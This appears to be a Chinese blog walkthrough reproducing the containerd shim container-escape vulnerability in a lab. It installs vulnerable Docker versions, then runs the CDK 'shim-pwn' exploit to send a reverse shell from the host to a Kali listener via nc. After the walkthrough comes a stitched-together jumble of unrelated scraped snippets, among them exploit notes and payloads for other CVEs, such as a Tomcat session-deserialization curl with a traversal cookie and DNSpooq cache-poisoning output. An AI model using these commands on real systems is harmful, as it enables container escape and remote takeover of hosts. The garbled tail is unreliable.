这里我使用的新安装的ubuntu安装一个docker复现漏洞,然后用同网段的kali接收shell
在这里插入图片描述

首先给ubuntu换源(换过了就不用换了)

vim /etc/apt/sources.list
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#然后执行
sudo apt-get update
#报错如下
Err:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease                   
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6
# 把这个公钥添加到服务器就行了
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6
#然后执行
sudo apt-get update

安装有漏洞的docker版本

sudo apt-get install ca-certificates curl software-properties-common
# 添加官方GPG密钥,这一步可能需要root用户执行,ubuntu执行,sudo passwd root 然后su root即可
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 设置稳定的存储库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
# 安装指定版本的docker
sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

此时查看containerd版本

docker version
漏洞影响版本
containerd < 1.4.3
containerd < 1.3.9

下载一个容器,docker换源

docker pull ubuntu:18.04

通过--net=host 作为启动参数来运行并进入一个容器:

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
sudo docker exec -it <容器id> /bin/bash

接着在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

可看到抽象命名空间Unix域套接字
在这里插入图片描述
Poc地址,https://github.com/Xyntax/CDK/releases/tag/0.1.6

下载exp并实现反弹shell,实现docker逃逸

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn 192.168.170.139 6666

kali开启监听

nc -lvnp 6666

成功实现逃逸获取主机shell
在这里插入图片描述

文章目录环境准备(安装docker)漏洞复现环境准备(安装docker)这里我使用的新安装的ubuntu安装一个docker复现漏洞,然后用同网段的kali接收shell首先给ubuntu换源(换过了就不用换了)vim /etc/apt/sources.list#添加源#中科大源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contribdeb-src http://mirrors.ustc.edu.cn/k docker pull hoangkien1020 / joomla:3.9.16 #第2步: 码头工人运行-d --rm -it -p 8080:80 hoangkien1020 / joomla:3.9.16 #Step 3:通过端口8080访问您的域/ IP: 带有凭据的此图像内 用户名密码 MySQL:root:root(可以通过IP:8080 / phpmyadmin访问) Docker桌面本地特权升级的POC。 基于上的内容构建。 硬链接创建改编自 。 此漏洞利用将Everyone组的完全控制权限授予C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_a337db27fa50b915\\Amd64\\PrintConfig.dll 。 要影响其他文件,只需更改以下行: LPCWSTR dllPath = L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_a337db27fa50b915\\Amd64\\PrintConfig.dll"; 在CVE-2020-10665/CVE-2020-10665.cpp 。
Docker-Compose项目是Docker官方的开源项目,负责实现对Docker容器集群的快速编排。 Docker-Compose将所管理的容器分为三层,分别是工程(project),服务(service)以及容器(container)。Docker-Compose运行目录下的所有文件(docker-compose.yml,extends文件或环境变量文件等)组成一个工程,若无特殊指定工程名即为当前目录名。一个工程当中可包含多个服务,每个服务中定义了容器运行的镜像、参数、依赖。一个服务当中可包括多个容器实例,Docker-Compose并没有解决负载均衡的问题,因此需要借助其它工具实现服务发现及负载均衡,比如 Consul。 Compose允许用户通过一个单独的docker-compose.yml模板文件(YAML 格式)来定义一组相关联的应用容器为一个项目(project)。 Docker-Compose项目由Python编写,调用Docker服务提供的API来对容器进行管理。因此,只要所操作的平台支持Docker API, 就可以在其上利用Compose来进行编排管理。
漏洞简介 containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。 containerd < 1.4.3 containerd < 1.3.9
git clone https://github.com/brant-ruan/metarget.git cd metarget/ pip3 install -r requirements.txt 2.安装靶场 ./metarget cnv install cve-2019-5736
0x00简介 在5.1.17之前的Linux内核中,kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve可能允许攻击者控制。 0x01漏洞概述 Linux执行PTRACE_TRACEME函数时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数,但是,对象struct cred的生存周期规则不允许无条.
dnspooq DNSpooq PoC-dnsmasq缓存中毒(CVE-2020-25686,CVE-2020-25684,CVE-2020-25685) 仅用于教育目的 Docker撰写 发射容器 $ docker-compose up -d 运行exploit.py $ docker-compose exec attacker bash bash-5.0# python exploit.py Querying non-cached names... Generating spoofed packets... Poisoned: b'google.com.' => 169.254.169.254 sent 3032017 responses in 50.309 seconds 查看来自转发器容器的输出 $ docker-compose logs -f forw
$ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ docker run -d -p 8080:8080 tomcat:groovy $ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy' $ docker exec -it $CONTAINER /bin/sh $ ls /tmp/rce
使用 docker 容器 aria2-pro 下载 m3u8 文件的步骤如下: 1. 首先,安装 docker。如果你还没有安装 docker,请参考官方文档或者网上教程进行安装。 2. 下载 aria2-pro 镜像。在命令行中输入以下命令: docker pull aria2-pro 3. 启动 aria2-pro 容器。输入以下命令: docker run -d --name aria2-pro -p 6800:6800 aria2-pro 4. 使用 aria2c 命令下载 m3u8 文件。输入以下命令: aria2c -c -s10 -x10 -j10 -i <m3u8文件的URL> 其中,`-c` 参数表示继续下载,`-s10 -x10 -j10` 参数表示使用 10 个线程下载,`-i` 参数表示输入 m3u8 文件的 URL。 注意:在使用 aria2c 命令之前,需要先进入 aria2-pro 容器内。输入以下命令进入容器内: docker exec -it aria2-pro /bin/bash